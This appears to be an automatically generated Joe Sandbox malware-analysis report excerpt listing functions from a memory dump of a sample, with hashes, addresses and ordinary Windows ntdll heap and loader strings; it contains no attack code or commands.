Instruction Fuzzy Hash: B6900225221100020585A558170451B049567D6369391C45AF1506550CC635886D6322

Function 32954260 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36eeefaa85731f42a3a81413f78df030027f2ca6952f0c5e2a28fc9fbcf12bcc
Instruction ID: 7c4bd2d69ef3e81f7313cc2968401a0e5e9dd46e9b47073b09462c28edb66839
Opcode Fuzzy Hash: 36eeefaa85731f42a3a81413f78df030027f2ca6952f0c5e2a28fc9fbcf12bcc
Instruction Fuzzy Hash: AF90023160550012958071585A84556405567E0319B51C456E0514514CCA28895E6362

Function 32952B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1705ba41f5e7ae9d030da5d30a2a4137d7dc73963f3a9b204d8e536582cc3215
Instruction ID: ee41d98cd32d0e68bd55e3d82c86eb8362410784b9086ce89d239ca90e38fedc
Opcode Fuzzy Hash: 1705ba41f5e7ae9d030da5d30a2a4137d7dc73963f3a9b204d8e536582cc3215
Instruction Fuzzy Hash: A990023120110842D54061585604B56005557E0319F51C45BA0214614DC629C8597522

Function 32952BC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6852026f3a0782e6ab0ccfab3819ec71f9ef061355debc06f9f45d59ea9574f
Instruction ID: d38512e53f0aee7b64e5c39d1e62384a2eeeac12ade030576e126f56a3e80c7a
Opcode Fuzzy Hash: d6852026f3a0782e6ab0ccfab3819ec71f9ef061355debc06f9f45d59ea9574f
Instruction Fuzzy Hash: A990023120110402D54065986608656005557E0319F51D456A5114515EC67988997132

Function 32952BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56debb01088f01110e86ef8f5507ac58ab560957e6b53abd4a81575a1f5634bd
Instruction ID: b4fc31cdc3e18f3c4411e1870b90bfad1359332390982a15e97622118471708b
Opcode Fuzzy Hash: 56debb01088f01110e86ef8f5507ac58ab560957e6b53abd4a81575a1f5634bd
Instruction Fuzzy Hash: 7090022160510402D58071586618716006557D0219F51D456A0114514DC66D8A5D76A2

Function 32952B10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb390b4b0a064a6bfccbe590ca6a02f8e55e327d340b94678085080d2c64ab4a
Instruction ID: dc4ddfcc3119236e20bfa28a400e77472578f2315c37c668851f518be51afccb
Opcode Fuzzy Hash: eb390b4b0a064a6bfccbe590ca6a02f8e55e327d340b94678085080d2c64ab4a
Instruction Fuzzy Hash: 0490023120110802D5C07158560465A005557D1319F91C45AA0115614DCA298A5D77A2

Function 32952B00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6bda379856a7a923aae777fea4386d24c8d4828fbd309b2f820855632bd575
Instruction ID: c33796a8608ca353519ef1fd7a10746ca5984bb2929b5bf87e3f29b8c64b2b05
Opcode Fuzzy Hash: ff6bda379856a7a923aae777fea4386d24c8d4828fbd309b2f820855632bd575
Instruction Fuzzy Hash: 3D90023120514842D58071585604A56006557D031DF51C456A0154654DD6398D5DB662

Function 329538D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dfecd47ba90ca73284e1d0660be4158a98d79b918de34e49a580e9fd6450d4e
Instruction ID: f11058fecc942a5e61463ec26b5d4c442abd2a67a58ca422fe8c9e8937a0f681
Opcode Fuzzy Hash: 7dfecd47ba90ca73284e1d0660be4158a98d79b918de34e49a580e9fd6450d4e
Instruction Fuzzy Hash: FE90022124515102D590715C5604626405577E0219F51C466A0904554DC569885D7222

Function 32954570 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3713dc35858d982483695ae323458d189e7cc015c44949f0b5643b97620199a0
Instruction ID: 7de7d938706acc928fff6349a5e67ac75521650f9c088a4a51292d741a30901b
Opcode Fuzzy Hash: 3713dc35858d982483695ae323458d189e7cc015c44949f0b5643b97620199a0
Instruction Fuzzy Hash: 2390026160120042458071585A04416605567E1319391C55AA0644520CC62C885DA26A

Function 32952B20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: d8981b4ab7e4887fd2b31c1fa5c5ba18c6beff09c55635fd63bbddaed578cfa4
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 329EA1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 329EA25D
RtlDebugPrintTimes.NTDLL ref: 329EA2F1
RtlDebugPrintTimes.NTDLL ref: 329EA314
RtlDebugPrintTimes.NTDLL ref: 329EA340
RtlDebugPrintTimes.NTDLL ref: 329EA415
RtlDebugPrintTimes.NTDLL ref: 329EA468
RtlDebugPrintTimes.NTDLL ref: 329EA487
RtlDebugPrintTimes.NTDLL ref: 329EA4B8

Strings

HEAP: , xrefs: 329EA206

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 98d0aacf677ae81bfa3bd9576c89cf27c25d2e5dce7226cda975294f6564ee04
Instruction ID: 4e0a138b4b2cba40520a194eb84062cd70d671dd5684ed05d48140cfcae3e6f7
Opcode Fuzzy Hash: 98d0aacf677ae81bfa3bd9576c89cf27c25d2e5dce7226cda975294f6564ee04
Instruction Fuzzy Hash: D4A1AA76A083128FD716CE28C894A1AB7E5FF88754F14492DE946DB320EB70EC46CB91

Function 32947550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 32984592
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 32984507
ExecuteOptions, xrefs: 329844AB
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 3298454D
Execute=1, xrefs: 3298451E
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 32984460
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 32984530

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 6fe2c32511081250ba7c11d0f6cd86d869a01cf1085bb39bfbe880c3edc5351e
Instruction ID: f6694dd2d51d233c418931ccea63c8ee28e8770881d888165514888b28b38cb2
Opcode Fuzzy Hash: 6fe2c32511081250ba7c11d0f6cd86d869a01cf1085bb39bfbe880c3edc5351e
Instruction Fuzzy Hash: BE510475A0031DBAEB14DBA5EC94FED73ADAF08344F4404EAE505AB181EF709A45CFA1

Function 3292A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RtlpFindActivationContextSection_CheckParameters, xrefs: 329777DD, 32977802
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 329778F3
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 329777E2
Actx , xrefs: 32977819, 32977880
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32977807
SsHd, xrefs: 3292A304

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: f77e359d2ae17225e3d2c6c1c964323dd446cb2f96a4a04b1d4457854a37eadd
Instruction ID: 0fbc287ff90a6aed9cfb923ae0135d157848ef4e1228c8d899994371ed1d9e0a
Opcode Fuzzy Hash: f77e359d2ae17225e3d2c6c1c964323dd446cb2f96a4a04b1d4457854a37eadd
Instruction Fuzzy Hash: D8E1057660430A8FE714CE28C990B9BB7E9BF85368F500A2DFC55CB295DB31D849CB91

Function 3292D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 32979299

Strings

RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 32979372
RtlpFindActivationContextSection_CheckParameters, xrefs: 3297914E, 32979173
GsHd, xrefs: 3292D794
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32979153
Actx , xrefs: 32979315
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32979178

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 2f54d51c41630cad3fd4d2d0e2968158ea759b023c5242af90535c7fc212d10b
Instruction ID: 64c30afee774691c5c050d9bcccbfab06d6bf0e18810676c563e8a7a10d6e1d1
Opcode Fuzzy Hash: 2f54d51c41630cad3fd4d2d0e2968158ea759b023c5242af90535c7fc212d10b
Instruction Fuzzy Hash: 83E1C374604346CFE714CF18C880B5AB7F8FF88758F504A6DE9959B285DB71E848CBA2

Function 3298FA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 3298FAF3
RtlDebugPrintTimes.NTDLL ref: 3298FB15

Strings

Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 3298FA58
LdrpRedirectDelayloadFailure, xrefs: 3298FA5E
minkernel\ntdll\ldrdload.c, xrefs: 3298FA68
Unknown, xrefs: 3298FA42, 3298FA54
$, xrefs: 3298FABD

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: 67a69e10f5c145cf8522e6ec732a682b7aeb27f84d03e3a7e78ff79842393a66
Instruction ID: d7d92a1708f88677b6df160fe7cfc34cd3d60ab690c1f92228122fe0cd23b3de
Opcode Fuzzy Hash: 67a69e10f5c145cf8522e6ec732a682b7aeb27f84d03e3a7e78ff79842393a66
Instruction Fuzzy Hash: 74415CB9A01209ABDB01CF99C990ADEBBB9FF48754F544069ED04B7350DB71EE42CB90

Function 329BF8F8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 329BF92E

Strings

About to free block at %p, xrefs: 329BFA0A
HEAP: , xrefs: 329BF9F9, 329BFAE4
About to free block at %p with tag %ws, xrefs: 329BFAFE
RtlFreeHeap, xrefs: 329BF948, 329BF9B2
HEAP[%wZ]: , xrefs: 329BF9EC, 329BFAD7

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: d66e6246259b2c56883666b549cb18b23fc84ee6bd7de57ea931a28c93bd00cd
Instruction ID: cff6a4402064a3b6905a83778f18ed8057ee2be659e1bfd0770542c8932d2616
Opcode Fuzzy Hash: d66e6246259b2c56883666b549cb18b23fc84ee6bd7de57ea931a28c93bd00cd
Instruction Fuzzy Hash: 9571DB35901688DFDF05CFA8D490AADFBF6FF49308F44C45AE445AB292CB759982CB50

Function 32906565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 32906614
RtlDebugPrintTimes.NTDLL ref: 3290665F

Strings

Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32969843
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32969885
LdrpLoadShimEngine, xrefs: 3296984A, 3296988B
minkernel\ntdll\ldrinit.c, xrefs: 32969854, 32969895

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: ad25fecece2ba27fda5922caa7ea060457be2e94b746d84b8e57dd3fc105c459
Instruction ID: 9e1753e949e8ac112481c74034ebd6250ca8546f315682b30b36857141708ed3
Opcode Fuzzy Hash: ad25fecece2ba27fda5922caa7ea060457be2e94b746d84b8e57dd3fc105c459
Instruction Fuzzy Hash: DF512875A113589FEB14DBACC854BADB7AABB44318F048519E540BF29ACB70AC43CB90

Function 3293DA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3297F41B

Strings

RtlUnlockHeap, xrefs: 3297F467
, passed to %s, xrefs: 3297F46C
HEAP: , xrefs: 3297F451
HEAP[%wZ]: , xrefs: 3297F444
Invalid heap signature for heap at %p, xrefs: 3297F45D

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: fdb3f01c004843b0d3ab83e3649f9281f42839905717097f166374e8eee9e51f
Instruction ID: 39594b52dfab54bcb18c1b658726f5512311e215427d6d4ec36f59e3fdc91995
Opcode Fuzzy Hash: fdb3f01c004843b0d3ab83e3649f9281f42839905717097f166374e8eee9e51f
Instruction Fuzzy Hash: 94415C35605745DFE712CF28C554B59B3B8FF41328F0089A9E92AD7381CB78E985CB61

Function 3293DAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3297F561

Strings

RtlLockHeap, xrefs: 3297F5AD
, passed to %s, xrefs: 3297F5B2
HEAP: , xrefs: 3297F597
HEAP[%wZ]: , xrefs: 3297F58A
Invalid heap signature for heap at %p, xrefs: 3297F5A3

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: c2fbd1ded305cac7130a9bb017265f097f59d3787cf6639c11e54cdbb18bb7f8
Instruction ID: 81ee4179cd5a91526f2f7b5cc9049682e823f0e6acec2269acefbbacf843e6f7
Opcode Fuzzy Hash: c2fbd1ded305cac7130a9bb017265f097f59d3787cf6639c11e54cdbb18bb7f8
Instruction Fuzzy Hash: A7312739506788DFF726CB28C424F9977FCEF02758F008889E81257652CBB9E981CA61

Function 32919046 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32972360

Strings

$, xrefs: 329190B1
@, xrefs: 32919095

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: 3a14eb2b6e2ab2469bd28a5c31b733c0499b2b8c77870f9e0ef42ab67d72ba30
Instruction ID: 18070c462eecf03e8763594d2f1f0dfc496703c0670e380431745195b0d5c2fd
Opcode Fuzzy Hash: 3a14eb2b6e2ab2469bd28a5c31b733c0499b2b8c77870f9e0ef42ab67d72ba30
Instruction Fuzzy Hash: 28812BB5D012699BEB25CB54CC44BDEB7B8AF08754F0041EAEA19B7240DB709E85CFA0

Function 3290F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3296E51F

Strings

(HeapHandle != NULL), xrefs: 3296E4A8
HEAP: , xrefs: 3296E49D
HEAP[%wZ]: , xrefs: 3296E490

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: c6613359c89dfbce05ee0bc42f824617ebe08a2e65d3122cd90b99d252ba7e9c
Instruction ID: 145254337cf21e664e77a09bf441a6e551c7cc74fc45d0e8cde70e0fe052c2c0
Opcode Fuzzy Hash: c6613359c89dfbce05ee0bc42f824617ebe08a2e65d3122cd90b99d252ba7e9c
Instruction Fuzzy Hash: 3F912575B04748AFE715CF24C880B2AB7E9BF44758F008459E9949B282EF74E945CF92

Function 32930AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32930BFC

Strings

Failed to allocated memory for shimmed module list, xrefs: 32979F1C
LdrpCheckModule, xrefs: 32979F24
minkernel\ntdll\ldrinit.c, xrefs: 32979F2E

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: 3275288c97f655ab4c7f5980de1a86416d9de482bc39d448532d78aaa3b6ac3a
Instruction ID: 4ede82920edd4f5e9ade6dbf2ef96445f3134cd7b396175e537ae5197cd939cd
Opcode Fuzzy Hash: 3275288c97f655ab4c7f5980de1a86416d9de482bc39d448532d78aaa3b6ac3a
Instruction Fuzzy Hash: E371CD74A013099FEB09DF68C880BAEB7F8EF48708F15846DE941A7255E774AD82CB50

Function 329158E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 329708AE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8f4d11bfa156184b6db464af1746fbce393cad5d60415c573460fca938e586b6
Instruction ID: 9be5a9886b64750ab8535d07986913f22c4a5e9d07da05857d8d4d1155a3924c
Opcode Fuzzy Hash: 8f4d11bfa156184b6db464af1746fbce393cad5d60415c573460fca938e586b6
Instruction Fuzzy Hash: 81322474D0036D9FEB25CF66C984BD9BBB4BF08304F0181E9D549A7281DBB5AA84CF91

Function 32944B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

Flst, xrefs: 32944BB6
0, xrefs: 32944BE3

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

